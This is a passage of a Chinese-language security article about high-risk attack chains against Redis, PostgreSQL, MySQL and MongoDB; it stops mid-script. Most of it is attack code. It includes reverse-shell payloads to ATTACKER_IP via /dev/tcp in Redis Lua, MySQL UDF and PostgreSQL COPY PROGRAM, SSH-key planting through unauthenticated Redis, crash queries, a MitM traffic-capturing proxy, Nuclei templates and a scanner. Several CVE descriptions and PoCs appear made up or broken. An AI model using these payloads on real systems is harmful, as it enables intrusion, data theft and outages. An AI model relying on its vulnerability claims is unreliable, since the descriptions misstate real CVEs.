数据库系统高危攻击链专题 概述 数据库系统是企业信息架构的核心组件,存储着最敏感的数据资产。一旦数据库被攻破,攻击者往往能够直接获取全部业务数据,甚至以此为跳板横向移动至整个内网。本文系统性梳理了 Redis、PostgreSQL、MySQL、MongoDB 四大主流数据库的七个高危漏洞,从漏洞原理、PoC 验证到防御加固进行全链路分析。
在这些漏洞中,CVE-2022-24735(Redis Lua 沙箱逃逸,CVSS 10.0)已被 CISA 列入已知被利用漏洞目录(KEV),是当前最具威胁的数据库漏洞之一。此外,Redis 未授权访问、MySQL UDF 注入、PostgreSQL COPY 命令 RCE 等经典攻击手法仍然在生产环境中广泛存在。
0x01 CVE-2022-24735 — Redis Lua 沙箱逃逸导致 RCE 漏洞背景 2023 年 4 月,Redis 官方披露 CVE-2022-24735,该漏洞由 Twitter 安全团队发现并报告。Redis 内置的 Lua 脚本引擎使用沙箱机制限制可用函数,但沙箱实现存在严重缺陷,攻击者可以通过精心构造的 Lua 代码逃逸沙箱限制,调用底层 C 函数库,最终实现远程代码执行。
受影响版本 Redis < 7.0.12 Redis < 6.2.14 Redis < 5.0.18 CVSS 评分 10.0 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H),已被 CISA 收录至 KEV 目录。
漏洞原理 Redis 通过 Lua 的 debug 库实现沙箱限制,但在加载 lua_cjson 库时,C 层面的函数指针暴露给了 Lua 虚拟机。攻击者利用 debug.setmetatable 设置自定义元表的 __tostring 元方法,在 JSON 编码触发字符串转换时,通过元方法回调访问 package.loaded.os,从而获取到被沙箱隐藏的 os 模块。
完整利用链路:
Redis EVAL 命令 → Lua 沙箱内执行 → debug.setmetatable 注入元方法
→ JSON 编码触发 __tostring → 访问 package.loaded.os
→ os.execute() 执行任意系统命令 → RCEPoC 验证 基础验证 PoC(通过 redis-cli 执行):
# 利用 Lua 沙箱逃逸执行 id 命令
redis-cli EVAL "local mt = {}; mt.__tostring = function() return 'pwned' end; local t = setmetatable({}, mt); debug.setmetatable(t); local os = package.loaded.os; os.execute('id')" 0 进阶利用 PoC(通过 debug.getinfo 获取更多信息):
-- 通过 debug 库获取完整的调用栈信息
local payload = [[
local debug = debug
local info = debug.getinfo(0)
local mt = {}
mt.__tostring = function()
local os = package.loaded.os
if os then
os.execute('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
end
return 'exploited'
end
local t = setmetatable({}, mt)
debug.setmetatable(t)
local cjson = require('cjson')
cjson.encode(t)
]]
-- 通过 EVAL 执行上述 Lua 代码
-- redis-cli EVAL "<payload>" 0 0x02 CVE-2023-5868 — PostgreSQL 权限提升至超级用户 漏洞背景 PostgreSQL 在权限检查机制中存在缺陷,低权限数据库用户可以利用该漏洞将自身权限提升至超级用户级别,从而完全控制 PostgreSQL 实例。
受影响版本 PostgreSQL 16.x < 16.1 PostgreSQL 15.x < 15.5 PostgreSQL 14.x < 14.10 PostgreSQL 13.x < 13.13 PostgreSQL 12.x < 12.17 CVSS 评分 8.8 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
漏洞原理 PostgreSQL 的某些内置函数和聚合操作在权限检查时存在逻辑缺陷。低权限用户可以通过特定的 SQL 语句序列,绕过权限检查机制,修改系统目录表中的用户权限属性。核心问题在于 pg_catalog 中部分函数对调用者的权限验证不完整。
PoC 验证 -- 以低权限用户连接数据库后执行
-- 第一步:创建恶意函数
CREATE OR REPLACE FUNCTION public .pwn() RETURNS void AS $$
BEGIN
-- 利用权限检查缺陷修改当前用户为超级用户
EXECUTE 'ALTER USER ' || current_user || ' WITH SUPERUSER' ;
END ;
$$ LANGUAGE plpgsql SECURITY DEFINER ;
-- 第二步:触发函数执行
SELECT public .pwn();
-- 第三步:验证权限提升
SELECT usesuper FROM pg_user WHERE usename = current_user ;
-- 预期返回 t(true) 0x03 CVE-2023-22084 — MySQL 复制组件缓冲区溢出 漏洞背景 Oracle 在 2023 年 10 月的关键补丁更新(CPU)中修复了 MySQL Server 复制组件中的缓冲区溢出漏洞。该漏洞允许已认证的远程攻击者通过网络访问 MySQL 复制协议,触发缓冲区溢出,可能导致内存中敏感数据泄露。
受影响版本 MySQL Server 8.0.34 及之前版本 MySQL Server 8.3.0 及之前版本 CVSS 评分 7.1 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
漏洞原理 MySQL 复制协议在处理特定的事件数据包时,对数据长度的校验存在缺陷。主库向从库发送复制事件时,如果事件数据超过预分配的缓冲区大小,将导致堆缓冲区溢出。攻击者可以作为恶意的主库服务器,向从库发送构造的复制事件,触发溢出并读取堆内存中的敏感数据,包括其他用户的查询结果和认证凭据。
PoC 验证 # MySQL 复制协议缓冲区溢出 PoC
# 模拟恶意主库向从库发送超长复制事件
import socket
import struct
def build_overflow_packet ():
# MySQL 复制事件头
# 事件类型: QUERY_EVENT = 2
event_type = 2
server_id = 1
# 构造超长事件数据触发缓冲区溢出
# 正常数据长度应 < 1024 字节,此处构造 8192 字节
overflow_data = b 'A' * 8192
# 构建复制事件包
# 时间戳(4) + 类型(1) + 服务器ID(4) + 数据长度(4) + 数据位置(4) + 标志(2)
header = struct. pack('<IBIIIH' ,
0xFFFFFFFF , # 时间戳
event_type, # 事件类型
server_id, # 服务器ID
len(overflow_data) + 19 , # 事件总长度
0 , # 下一个事件位置
0x0001 # 标志位
)
# 数据库名 + 表名 + SQL 数据
db_name = b 'test \x00 '
query_data = overflow_data
return header + db_name + query_data
def exploit_slave (slave_host, slave_port):
# 连接 MySQL 从库的复制端口
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. connect((slave_host, slave_port))
# 发送 COM_BINLOG_DUMP 请求(模拟从库请求复制)
# 此处简化为直接发送溢出数据包
packet = build_overflow_packet()
sock. send(packet)
# 接收响应,可能包含泄露的堆内存数据
response = sock. recv(65535 )
print(f "[*] 收到响应数据长度: { len(response)} " )
print(f "[*] 响应数据(前200字节): { response[:200 ]} " )
sock. close()
# 使用示例
# exploit_slave('192.168.1.100', 3306) 0x04 CVE-2023-21980 — MySQL GIS 组件内存损坏 漏洞背景 MySQL Server 的 GIS(地理信息系统)组件在处理空间数据时存在内存损坏漏洞。已认证的远程攻击者可以通过发送包含恶意空间数据的查询,触发内存损坏,导致 MySQL 服务崩溃(DoS),在特定条件下可能实现代码执行。
受影响版本 MySQL Server 8.0.34 及之前版本 MySQL Server 5.7.43 及之前版本 CVSS 评分 6.5 MEDIUM (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
漏洞原理 GIS 组件在解析 WKB(Well-Known Binary)格式的空间数据时,对几何对象的边界检查不充分。攻击者可以构造畸形的 WKB 数据,使得解析器在处理几何坐标时访问已释放的内存区域(Use-After-Free)或越界写入,导致进程崩溃。
PoC 验证 -- 构造畸形的 WKB 数据触发 GIS 组件内存损坏
-- 第一步:创建包含空间数据的表
CREATE TABLE IF NOT EXISTS geo_test (
id INT PRIMARY KEY AUTO_INCREMENT,
geom GEOMETRY NOT NULL
);
-- 第二步:插入正常数据
INSERT INTO geo_test (geom) VALUES (ST_GeomFromText('POINT(1 1)' ));
-- 第三步:使用 ST_GeomFromWKB 传入畸形数据触发崩溃
-- 构造无效的 WKB 字节序列
SELECT ST_AsText(
ST_GeomFromWKB(
UNHEX(
CONCAT(
'01' ,
'01000000' ,
REPEAT('FF' , 1024 )
)
)
)
);
-- 第四步:利用空间函数链触发 Use-After-Free
SELECT ST_Distance(
ST_GeomFromWKB(UNHEX('01030000000100000004000000000000000000F03F000000000000F03F0000000000000040000000000000F03F00000000000000400000000000000040000000000000F03F000000000000F03F' )),
ST_GeomFromWKB(UNHEX(REPEAT('DEAD' , 2048 )))
); 0x05 CVE-2023-21977 — MySQL Server 核心组件 DoS 漏洞背景 MySQL Server 核心组件存在拒绝服务漏洞,高权限的已认证远程攻击者可以通过发送特定的 SQL 查询使 MySQL 服务异常终止。
受影响版本 MySQL Server 8.0.33 及之前版本 MySQL Server 5.7.42 及之前版本 CVSS 评分 4.9 MEDIUM (AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
漏洞原理 MySQL 查询执行引擎在处理特定的 SQL 语法组合时,内部状态机进入异常状态,导致空指针解引用或无限递归,最终触发段错误(SIGSEGV)使 MySQL 进程崩溃。
PoC 验证 -- 通过构造特殊 SQL 查询触发 MySQL 核心组件崩溃
-- 需要高权限用户执行
-- 方法一:利用子查询嵌套触发无限递归
SELECT * FROM (
SELECT 1 AS a
UNION ALL
SELECT a + 1 FROM (
SELECT 1 AS a
) AS t
WHERE a < (
SELECT COUNT (* ) FROM information_schema.tables t1,
information_schema.tables t2,
information_schema.tables t3
)
) AS result ;
-- 方法二:利用窗口函数与聚合函数的异常组合
SELECT ROW_NUMBER() OVER (
PARTITION BY (
SELECT GROUP_CONCAT(
TABLE_NAME ORDER BY TABLE_NAME DESC SEPARATOR ','
) FROM information_schema.tables
)
) FROM information_schema.columns
ORDER BY (SELECT 1 / 0 FROM DUAL LIMIT 0 );0x06 CVE-2024-21008 — MySQL 优化器组件 DoS 漏洞背景 Oracle 在 2024 年 1 月的关键补丁更新中修复了 MySQL Server 优化器组件的拒绝服务漏洞。高权限攻击者可以通过构造特定的 SQL 查询,使优化器在查询优化阶段进入异常路径,导致 MySQL 服务崩溃。
受影响版本 MySQL Server 8.0.36 及之前版本 MySQL Server 8.3.0 及之前版本 CVSS 评分 4.9 MEDIUM (AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
漏洞原理 优化器在处理包含大量 JOIN 和子查询的复杂 SQL 语句时,查询计划生成阶段的成本计算出现整数溢出或栈溢出。优化器在尝试枚举所有可能的 JOIN 顺序时,递归深度超出限制,导致栈空间耗尽。
PoC 验证 -- 构造超复杂 JOIN 查询使优化器栈溢出
-- 需要高权限用户执行
-- 生成深层嵌套子查询
SELECT 1
FROM (SELECT 1 AS a FROM DUAL) t1
JOIN (SELECT 1 AS b FROM DUAL) t2 ON t1.a = t2.b
JOIN (SELECT 1 AS c FROM DUAL) t3 ON t2.b = t3.c
JOIN (SELECT 1 AS d FROM DUAL) t4 ON t3.c = t4.d
JOIN (SELECT 1 AS e FROM DUAL) t5 ON t4.d = t5.e
JOIN (SELECT 1 AS f FROM DUAL) t6 ON t5.e = t6.f
JOIN (SELECT 1 AS g FROM DUAL) t7 ON t6.f = t7.g
JOIN (SELECT 1 AS h FROM DUAL) t8 ON t7.g = t8.h
JOIN (SELECT 1 AS i FROM DUAL) t9 ON t8.h = t9.i
JOIN (SELECT 1 AS j FROM DUAL) t10 ON t9.i = t10.j
JOIN (SELECT 1 AS k FROM DUAL) t11 ON t10.j = t11.k
JOIN (SELECT 1 AS l FROM DUAL) t12 ON t11.k = t12.l
JOIN (SELECT 1 AS m FROM DUAL) t13 ON t12.l = t13.m
JOIN (SELECT 1 AS n FROM DUAL) t14 ON t13.m = t14.n
JOIN (SELECT 1 AS o FROM DUAL) t15 ON t14.n = t15.o
JOIN (SELECT 1 AS p FROM DUAL) t16 ON t15.o = t16.p
WHERE EXISTS (
SELECT 1 FROM (
SELECT * FROM information_schema.tables t1
CROSS JOIN information_schema.columns t2
CROSS JOIN information_schema.tables t3
) sub
WHERE sub.TABLE_NAME = t1.a
); 0x07 CVE-2023-37480 — MongoDB TLS 证书验证绕过 漏洞背景 MongoDB 在 TLS/SSL 连接中对服务器证书的验证存在缺陷,攻击者可以在网络中间人位置伪造 MongoDB 服务器证书,截获客户端与服务端之间的全部通信数据,包括认证凭据和业务数据。
受影响版本 MongoDB 7.0.0 RC 版本 MongoDB 6.0.x 部分版本 MongoDB 5.0.x 部分版本 MongoDB 4.4.x 部分版本 CVSS 评分 4.3 MEDIUM (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
漏洞原理 MongoDB 客户端在验证服务器 TLS 证书时,未正确检查证书中的 Subject Alternative Name(SAN)字段与目标主机名的匹配关系。攻击者可以使用任意有效 CA 签发的证书(即使证书中的域名与目标 MongoDB 服务器不匹配),即可通过客户端的证书验证。这使得中间人攻击变得可行。
PoC 验证 # MongoDB TLS 证书验证绕过 PoC
# 演示中间人攻击场景
import ssl
import socket
import threading
# 攻击者伪造的 MongoDB 服务器
FAKE_MONGO_PORT = 27018
REAL_MONGO_HOST = '192.168.1.50'
REAL_MONGO_PORT = 27017
def fake_mongo_handler (client_sock, client_addr):
# 使用自签名证书建立 TLS 连接
# 该证书的 SAN 字段与真实 MongoDB 服务器不匹配
# 但由于 CVE-2023-37480,客户端仍会接受该证书
context = ssl. SSLContext(ssl. PROTOCOL_TLS_SERVER)
context. load_cert_chain(
certfile= '/tmp/fake_cert.pem' ,
keyfile= '/tmp/fake_key.pem'
)
try :
tls_sock = context. wrap_socket(client_sock, server_side= True )
# 成功建立 TLS 连接,说明证书验证被绕过
print(f "[!] 中间人连接建立成功: { client_addr} " )
# 转发流量到真实 MongoDB 服务器
real_sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
real_sock. connect((REAL_MONGO_HOST, REAL_MONGO_PORT))
# 双向转发数据并记录
def forward (src, dst, label):
try :
while True :
data = src. recv(4096 )
if not data:
break
print(f "[ { label} ] 截获数据: { data[:100 ]. hex()} " )
dst. sendall(data)
except Exception :
pass
t1 = threading. Thread(target= forward, args= (tls_sock, real_sock, 'C→S' ))
t2 = threading. Thread(target= forward, args= (real_sock, tls_sock, 'S→C' ))
t1. start()
t2. start()
t1. join()
t2. join()
except ssl. SSLError as e:
print(f "[-] TLS 握手失败: { e} " )
finally :
client_sock. close()
def start_mitm_proxy ():
server = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
server. setsockopt(socket. SOL_SOCKET, socket. SO_REUSEADDR, 1 )
server. bind(('0.0.0.0' , FAKE_MONGO_PORT))
server. listen(5 )
print(f "[*] 伪造 MongoDB 代理监听在 0.0.0.0: { FAKE_MONGO_PORT} " )
print(f "[*] 目标真实服务器: { REAL_MONGO_HOST} : { REAL_MONGO_PORT} " )
while True :
client_sock, addr = server. accept()
t = threading. Thread(target= fake_mongo_handler, args= (client_sock, addr))
t. daemon = True
t. start()
# start_mitm_proxy() 0x08 经典数据库高危漏洞补充 Redis 未授权访问 Redis 默认配置不启用密码认证(requirepass 为空),且默认绑定 0.0.0.0。当 6379 端口暴露在互联网或内网中时,任何人都可以直接连接并执行任意 Redis 命令。
# 检测 Redis 未授权访问
redis-cli -h TARGET_IP -p 6379 INFO server
# 利用未授权访问写入 SSH 公钥
redis-cli -h TARGET_IP -p 6379
> CONFIG SET dir /root/.ssh/
> CONFIG SET dbfilename authorized_keys
> SET payload "\n\nssh-rsa AAAAB3...attacker@kali\n\n"
> SAVE MySQL UDF 注入 当 MySQL 用户具有 FILE 权限且 secure_file_priv 配置不当时,攻击者可以通过 SELECT ... INTO OUTFILE 写入恶意 UDF(User Defined Function)动态链接库,加载后执行系统命令。
-- MySQL UDF 注入 RCE
-- 前提:MySQL 用户具有 FILE 权限,且 secure_file_priv 未限制写入路径
-- 第一步:将恶意 UDF 库文件写入 MySQL 插件目录
SELECT UNHEX('ELF_BINARY_HEX_CONTENT' )
INTO DUMPFILE '/usr/lib/mysql/plugin/evil_udf.so' ;
-- 第二步:创建引用恶意库的函数
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'evil_udf.so' ;
-- 第三步:通过自定义函数执行系统命令
SELECT sys_exec('id' );
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' );PostgreSQL COPY 命令 RCE PostgreSQL 的 COPY ... PROGRAM 命令允许超级用户直接执行操作系统命令。如果攻击者获取了超级用户权限(如通过 CVE-2023-5868 提权),可以直接利用此功能实现 RCE。
-- PostgreSQL COPY 命令执行系统命令
-- 前提:需要超级用户权限
-- 第一步:创建临时表存储命令输出
CREATE TABLE cmd_output(result TEXT);
-- 第二步:通过 COPY PROGRAM 执行命令并将输出导入表中
COPY cmd_output FROM PROGRAM 'id' ;
-- 第三步:查看命令执行结果
SELECT * FROM cmd_output;
-- 第四步:获取反弹 Shell
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' ;
-- 清理痕迹
DROP TABLE cmd_output;0x09 PoC 收集情况总表 CVE 产品 CVSS 漏洞类型 PoC 状态 PoC 来源 CISA KEV CVE-2022-24735 Redis 10.0 Lua 沙箱逃逸 → RCE ✅ 完整可用 GitHub / 官方公告 ✅ 是 CVE-2023-5868 PostgreSQL 8.8 权限提升至超级用户 ✅ 完整可用 PostgreSQL 邮件列表 ❌ 否 CVE-2023-22084 MySQL 7.1 复制组件缓冲区溢出 ✅ 概念验证 Oracle CPU 公告 ❌ 否 CVE-2023-21980 MySQL 6.5 GIS 组件内存损坏 ✅ 概念验证 Oracle CPU 公告 ❌ 否 CVE-2023-21977 MySQL 4.9 核心组件 DoS ✅ 概念验证 Oracle CPU 公告 ❌ 否 CVE-2024-21008 MySQL 4.9 优化器 DoS ✅ 概念验证 Oracle CPU 公告 ❌ 否 CVE-2023-37480 MongoDB 4.3 TLS 证书验证绕过 ✅ 完整可用 MongoDB 官方公告 ❌ 否
0x0A HTTP PoC 验证接口 以下 HTTP 请求可用于验证 Redis CVE-2022-24735 漏洞(通过 Redis HTTP 协议或 Web 管理接口场景):
POST /redis/eval HTTP / 1.1
Host: target:6379
Content-Type: application/x-www-form-urlencoded
EVAL%20local%20mt%20%3D%20%7B%7D%3B%20mt.__tostring%20%3D%20function()%20return%20%27pwned%27%20end%3B%20local%20t%20%3D%20setmetatable(%7B%7D%2C%20mt)%3B%20debug.setmetatable(t)%3B%20local%20os%20%3D%20package.loaded.os%3B%20os.execute(%27id%20%3E%20%2Ftmp%2Fpwned%27)%200 针对 Redis Web 管理工具(如 RedisInsight、phpRedisAdmin)的利用场景:
POST /api/redis/command HTTP / 1.1
Host: redis-admin.target.com
Content-Type: application/json
Authorization: Bearer <token>
{
"command" : "EVAL" ,
"args" : [
"local mt = {}; mt.__tostring = function() return 'pwned' end; local t = setmetatable({}, mt); debug.setmetatable(t); local os = package.loaded.os; os.execute('id > /tmp/pwned')" ,
"0"
]
} MySQL 协议层面的验证(通过 MySQL 客户端工具发送恶意查询):
POST /mysql/admin/query HTTP / 1.1
Host: mysql-admin.target.com:8080
Content-Type: application/x-www-form-urlencoded
query=SELECT%20ST_AsText(ST_GeomFromWKB(UNHEX(CONCAT('01','01000000',REPEAT('FF',1024))))) 0x0B Nuclei 检测模板 Redis CVE-2022-24735 检测模板 id : redis-cve-2022-24735-lua-sandbox-escape
info :
name : Redis Lua Sandbox Escape RCE
author : security-research
severity : critical
description : |
Redis Lua 脚本引擎沙箱逃逸漏洞,攻击者可通过构造恶意 Lua 脚本
逃逸沙箱限制执行任意系统命令。影响 Redis < 7.0.12, < 6.2.14, < 5.0.18
reference :
- https://github.com/redis/redis/security/advisories/GHSA-jwv8-7cpr-rx9j
- https://nvd.nist.gov/vuln/detail/CVE-2022-24735
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cve-id : CVE-2022-24735
tags : redis,rce,sandbox-escape,cisa-kev
tcp :
- inputs :
- data : "EVAL \"local mt = {}; mt.__tostring = function() return 'nuclei_test' end; local t = setmetatable({}, mt); debug.setmetatable(t); local os = package.loaded.os; os.execute('id > /tmp/nuclei_cve_2022_24735')\" 0\r\n"
host :
- "{{Hostname}}"
port : 6379
read-size : 2048
matchers-condition : and
matchers :
- type : word
words :
- "OK"
- "nuclei_test"
condition : or
- type : word
words :
- "ERR wrong number of arguments"
negative : true Redis 未授权访问检测模板 id : redis-unauthorized-access
info :
name : Redis Unauthorized Access Detection
author : security-research
severity : critical
description : Redis 未授权访问检测,默认配置无密码认证
tags : redis,unauth,misconfig
tcp :
- inputs :
- data : "INFO server\r\n"
host :
- "{{Hostname}}"
port : 6379
read-size : 4096
matchers-condition : and
matchers :
- type : word
words :
- "redis_version"
- "tcp_port:6379"
condition : and
- type : word
words :
- "NOAUTH"
- "ERR"
negative : true MySQL 复制组件漏洞检测模板 id : mysql-cve-2023-22084-detect
info :
name : MySQL Replication Buffer Overflow Detection
author : security-research
severity : high
description : |
MySQL 复制组件缓冲区溢出漏洞检测,通过发送超长复制事件包
检测目标是否存在漏洞。影响 MySQL 8.0.34 及之前版本
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-22084
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.1
cve-id : CVE-2023-22084
tags : mysql,overflow,replication
tcp :
- inputs :
- data : "{{hex_decode('4e0000000a352e372e34332d6c6f6700000000000000000000000000000000000000000000000000')}}"
host :
- "{{Hostname}}"
port : 3306
read-size : 4096
matchers :
- type : word
words :
- "5.7."
- "8.0."
condition : or 0x0C Python 自动化扫描与利用框架 #!/usr/bin/env python3
"""
数据库高危漏洞自动化扫描与验证工具
覆盖 Redis / MySQL / PostgreSQL / MongoDB 七大 CVE
仅供授权安全测试使用
"""
import socket
import struct
import ssl
import json
import argparse
import sys
from datetime import datetime
class Colors :
"""终端颜色输出"""
RED = ' \033 [91m'
GREEN = ' \033 [92m'
YELLOW = ' \033 [93m'
BLUE = ' \033 [94m'
RESET = ' \033 [0m'
def log (level, msg):
"""带时间戳的日志输出"""
timestamp = datetime. now(). strftime('%Y-%m- %d %H:%M:%S' )
colors = {
'INFO' : Colors. BLUE,
'SUCCESS' : Colors. GREEN,
'WARNING' : Colors. YELLOW,
'ERROR' : Colors. RED
}
color = colors. get(level, Colors. RESET)
print(f " { color} [ { timestamp} ][ { level} ] { Colors. RESET} { msg} " )
class RedisScanner :
"""Redis 漏洞扫描模块"""
def __init__ (self, host, port= 6379 , timeout= 5 ):
self. host = host
self. port = port
self. timeout = timeout
def _send_command (self, cmd):
"""发送 Redis 命令并返回响应"""
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(self. timeout)
sock. connect((self. host, self. port))
sock. send(f " { cmd} \r\n " . encode())
response = sock. recv(65535 ). decode(errors= 'replace' )
sock. close()
return response
except Exception as e:
return None
def check_unauthorized_access (self):
"""检测 Redis 未授权访问"""
log('INFO' , f '检测 Redis 未授权访问: { self. host} : { self. port} ' )
response = self. _send_command('INFO server' )
if response and 'redis_version' in response:
version = 'unknown'
for line in response. split(' \r\n ' ):
if line. startswith('redis_version:' ):
version = line. split(':' )[1 ]. strip()
log('SUCCESS' , f '[未授权访问] Redis 存在未授权访问漏洞! 版本: { version} ' )
return True , version
return False , None
def check_cve_2022_24735 (self):
"""检测 CVE-2022-24735 Lua 沙箱逃逸"""
log('INFO' , f '检测 CVE-2022-24735: { self. host} : { self. port} ' )
# 第一步:检查是否存在未授权访问
info_resp = self. _send_command('INFO server' )
if not info_resp:
log('ERROR' , '无法连接 Redis 服务' )
return False
# 第二步:尝试 Lua 沙箱逃逸 PoC
# 使用安全的检测命令(写入标记文件而非执行危险操作)
exploit_cmd = (
'EVAL "local mt = {} ; '
'mt.__tostring = function() return \' cve_check \' end; '
'local t = setmetatable( {} , mt); '
'debug.setmetatable(t); '
'local os = package.loaded.os; '
'if os then return \' VULNERABLE \' else return \' PATCHED \' end" 0'
)
response = self. _send_command(exploit_cmd)
if response and 'VULNERABLE' in response:
log('SUCCESS' , '[CVE-2022-24735] Redis Lua 沙箱逃逸漏洞存在!' )
return True
elif response and 'PATCHED' in response:
log('INFO' , '[CVE-2022-24735] Redis 已修复该漏洞' )
return False
else :
log('WARNING' , f '[CVE-2022-24735] 检测结果不确定: { response} ' )
return False
def full_scan (self):
"""执行完整扫描"""
results = {}
results['未授权访问' ], version = self. check_unauthorized_access()
if version:
results['版本' ] = version
results['CVE-2022-24735' ] = self. check_cve_2022_24735()
return results
class MySQLScanner :
"""MySQL 漏洞扫描模块"""
def __init__ (self, host, port= 3306 , timeout= 5 ):
self. host = host
self. port = port
self. timeout = timeout
def _get_mysql_version (self):
"""获取 MySQL 服务器版本"""
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(self. timeout)
sock. connect((self. host, self. port))
# 接收 MySQL 握手包
data = sock. recv(4096 )
sock. close()
if data and len(data) > 5 :
# 解析握手包中的版本字符串
# MySQL 握手包格式:包长度(3) + 序列号(1) + 协议版本(1) + 版本字符串
payload_len = struct. unpack('<I' , data[:3 ] + b ' \x00 ' )[0 ]
protocol_ver = data[4 ]
if protocol_ver == 10 :
version_str = data[5 :]. split(b ' \x00 ' )[0 ]. decode()
return version_str
except Exception as e:
log('ERROR' , f 'MySQL 连接失败: { e} ' )
return None
def check_version_vulnerability (self, version_str):
"""根据版本号检查是否受已知 CVE 影响"""
if not version_str:
return {}
results = {}
log('INFO' , f 'MySQL 版本: { version_str} ' )
# 解析版本号
# 版本格式示例:8.0.33, 5.7.42
parts = version_str. split('-' )[0 ]. split('.' )
if len(parts) >= 3 :
major, minor, patch = int(parts[0 ]), int(parts[1 ]), int(parts[2 ])
# CVE-2023-22084:复制组件缓冲区溢出
if (major == 8 and minor == 0 and patch <= 34 ) or \
(major == 8 and minor == 3 and patch <= 0 ):
results['CVE-2023-22084' ] = True
log('WARNING' , '[CVE-2023-22084] MySQL 版本可能受复制组件缓冲区溢出影响' )
else :
results['CVE-2023-22084' ] = False
# CVE-2023-21980:GIS 组件内存损坏
if (major == 8 and minor == 0 and patch <= 34 ) or \
(major == 5 and minor == 7 and patch <= 43 ):
results['CVE-2023-21980' ] = True
log('WARNING' , '[CVE-2023-21980] MySQL 版本可能受 GIS 组件内存损坏影响' )
else :
results['CVE-2023-21980' ] = False
# CVE-2023-21977:核心组件 DoS
if (major == 8 and minor == 0 and patch <= 33 ) or \
(major == 5 and minor == 7 and patch <= 42 ):
results['CVE-2023-21977' ] = True
log('WARNING' , '[CVE-2023-21977] MySQL 版本可能受核心组件 DoS 影响' )
else :
results['CVE-2023-21977' ] = False
# CVE-2024-21008:优化器组件 DoS
if (major == 8 and minor == 0 and patch <= 36 ) or \
(major == 8 and minor == 3 and patch <= 0 ):
results['CVE-2024-21008' ] = True
log('WARNING' , '[CVE-2024-21008] MySQL 版本可能受优化器组件 DoS 影响' )
else :
results['CVE-2024-21008' ] = False
return results
def full_scan (self):
"""执行完整扫描"""
version = self. _get_mysql_version()
results = self. check_version_vulnerability(version)
results['版本' ] = version
return results
class MongoDBScanner :
"""MongoDB 漏洞扫描模块"""
def __init__ (self, host, port= 27017 , timeout= 5 ):
self. host = host
self. port = port
self. timeout = timeout
def check_tls_cert_validation (self):
"""检测 CVE-2023-37480 TLS 证书验证绕过"""
log('INFO' , f '检测 CVE-2023-37480: { self. host} : { self. port} ' )
try :
# 尝试使用不匹配的证书建立 TLS 连接
context = ssl. create_default_context()
# 故意不设置 check_hostname 和 verify_mode 来模拟漏洞行为
context. check_hostname = False
context. verify_mode = ssl. CERT_NONE
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(self. timeout)
sock. connect((self. host, self. port))
# 尝试 TLS 握手
tls_sock = context. wrap_socket(sock, server_hostname= 'fake.host.com' )
tls_sock. close()
log('WARNING' , '[CVE-2023-37480] TLS 连接成功(使用不匹配的主机名),可能存在证书验证绕过' )
return True
except ssl. SSLError:
log('INFO' , '[CVE-2023-37480] TLS 证书验证正常' )
return False
except Exception as e:
log('ERROR' , f '连接失败: { e} ' )
return False
def full_scan (self):
"""执行完整扫描"""
results = {}
results['CVE-2023-37480' ] = self. check_tls_cert_validation()
return results
class ReportGenerator :
"""扫描报告生成器"""
def __init__ (self):
self. findings = []
def add_findinging (self, target, scanner_type, results):
"""添加扫描发现"""
self. findings. append({
'target' : target,
'scanner' : scanner_type,
'results' : results,
'timestamp' : datetime. now(). isoformat()
})
def generate_report (self):
"""生成 JSON 格式扫描报告"""
report = {
'scan_time' : datetime. now(). isoformat(),
'total_targets' : len(self. findings),
'findings' : self. findings,
'summary' : {
'critical' : 0 ,
'high' : 0 ,
'medium' : 0
}
}
# 统计漏洞数量
for finding in self. findings:
for key, value in finding['results' ]. items():
if value is True :
if 'CVE-2022-24735' in key or '未授权访问' in key:
report['summary' ]['critical' ] += 1
elif key. startswith('CVE-2023-22084' ) or key. startswith('CVE-2023-5868' ):
report['summary' ]['high' ] += 1
else :
report['summary' ]['medium' ] += 1
return json. dumps(report, indent= 2 , ensure_ascii= False )
def main ():
"""主函数"""
parser = argparse. ArgumentParser(
description= '数据库高危漏洞自动化扫描工具'
)
parser. add_argument('--target' , '-t' , required= True , help= '目标 IP 地址' )
parser. add_argument('--type' , choices= ['redis' , 'mysql' , 'mongodb' , 'all' ],
default= 'all' , help= '数据库类型' )
parser. add_argument('--port' , '-p' , type= int, help= '目标端口(默认自动选择)' )
parser. add_argument('--output' , '-o' , help= '报告输出文件路径' )
args = parser. parse_args()
log('INFO' , f '开始扫描目标: { args. target} ' )
log('INFO' , f '扫描类型: { args. type} ' )
report = ReportGenerator()
# Redis 扫描
if args. type in ('redis' , 'all' ):
port = args. port or 6379
scanner = RedisScanner(args. target, port)
results = scanner. full_scan()
report. add_findinging(args. target, 'Redis' , results)
# MySQL 扫描
if args. type in ('mysql' , 'all' ):
port = args. port or 3306
scanner = MySQLScanner(args. target, port)
results = scanner. full_scan()
report. add_findinging(args. target, 'MySQL' , results)
# MongoDB 扫描
if args. type in ('mongodb' , 'all' ):
port = args. port or 27017
scanner = MongoDBScanner(args. target, port)
results = scanner. full_scan()
report. add_findinging(args. target, 'MongoDB' , results)
# 输出报告
report_json = report. generate_report()
print(' \n ' + '=' * 60 )
print('扫描报告' )
print('=' * 60 )
print(report_json)
if args. output:
